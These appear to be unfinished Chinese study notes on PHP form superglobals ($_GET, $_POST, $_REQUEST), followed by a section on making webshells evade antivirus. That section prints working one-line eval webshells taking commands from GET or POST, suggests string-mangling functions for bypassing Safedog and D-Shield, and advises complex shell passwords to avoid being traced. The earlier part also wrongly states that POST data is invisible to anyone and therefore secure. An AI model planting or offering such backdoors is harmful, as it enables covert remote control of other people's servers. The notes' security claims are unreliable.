预定义的 $_GET 变量用于收集来自 method="get" 的表单中的值。 从带有 GET 方法的表单发送的信息,对任何人都是可见的(会显示在浏览器的地址 栏),并且对发送信息的量也有限制.
http://localhost:3000/login.php?username=456
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>登录界面</title> </head> <body> <form method="GET" action="login.php"> 用户名:<input type="test" name="username"><br> 密码:<input type="submit" value="登录"> </form> </body> </html>
5.1.2 $_POST
预定义的 $_POST 变量用于收集来自 method="post" 的表单中的值。 从带有 POST 方法的表单发送的信息, 对任何人都是不可见的 (不会显示在浏览器 的地址栏),并且对发送信息的量也没有限制。例子:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>登录界面</title> </head> <body> <form method="POST" action="login.php"> 用户名:<input type="test" name="username"><br> 密码:<input type="submit" value="登录"> </form> </body> </html>
http://localhost:3000/login.php
不会显示username=xxxxx,
POST会比GET更加的安全
而其原因,我感觉是因为get是放在url后面,而post则是在消息主体里面,在报文的里面,被封装好了的
5.1.3 $_REQUEST
预定义的 $_REQUEST 变量包含了 $_GET和$_POST 的内容。 $_REQUEST 变量可用来收集通过 GET 和 POST 方法发送的表单数据。 如果表单的methon=“request”,默认请求方式是GET,GET的优先级高于POST ,这个谁优先其实是在php.ini里配置的request_order参数决定,默认GET是比POST优先的<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>登录界面</title> </head> <body> <form method="REQUEST" action="login.php"> 用户名:<input type="test" name="username"><br> 密码:<input type="submit" value="登录"> </form> </body> </html>
6.免杀
这就有意思了,也是需要函数的。
免杀 | Webshell | 对于php免杀shell
关于eval函数
eval是⼀个语⾔构造器⽽不是⼀个函数,不能被可变函数调⽤可变函数:通过⼀个变量,获取其对应的变量值,然后通过给该值增加⼀个括号(),让系统认为该值是⼀个函数,从⽽当做函数来执⾏
通俗的说⽐如你<?php$a=eval;$a()?>这样是不⾏的.也造就了⽤eval的话达不到assert的灵活,但是在php7.1以上assert已经不能使用了。
关于assert函数
assert()回调函数在构建⾃动测试套件的时候尤其有⽤,因为它们允许你简易地捕获传⼊断⾔的代码,并包含断⾔的位置信息。当信息能够被其他⽅法捕获,使⽤断⾔可以让它更快更⽅便!
6.1 免杀函数
字符串变形多数用于 BYPASS 安全狗,相当对于 D 盾,安全狗更加重视 ”形“.一个特殊的变形就能绕过安全狗,在 PHP 手册里,有着很多关于操作字符串的函数
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。
<?php
@eval($_POST["cmd"]);
?>
一个小例子:
<?php @eval($_GET["cmd"]); /* @ 错误标识符,为了隐藏报错信息,防止被检测到 eval 语言构造器 $_POST 超全局变量,有POST就有GET,超全局变量,一定要大写 cmd 请求数据 ["cmd"] 这里面的cmd代表着一个密码 */ ?>
记住php文件的存放位置
建议把cmd改为复杂的密码,否则,容易被人冒用,然后被溯源,那你就背锅了
Google hackbar
https://www.runoob.com/quiz/php-quiz.html 这个是PHP测试的
到此就好了,先余着......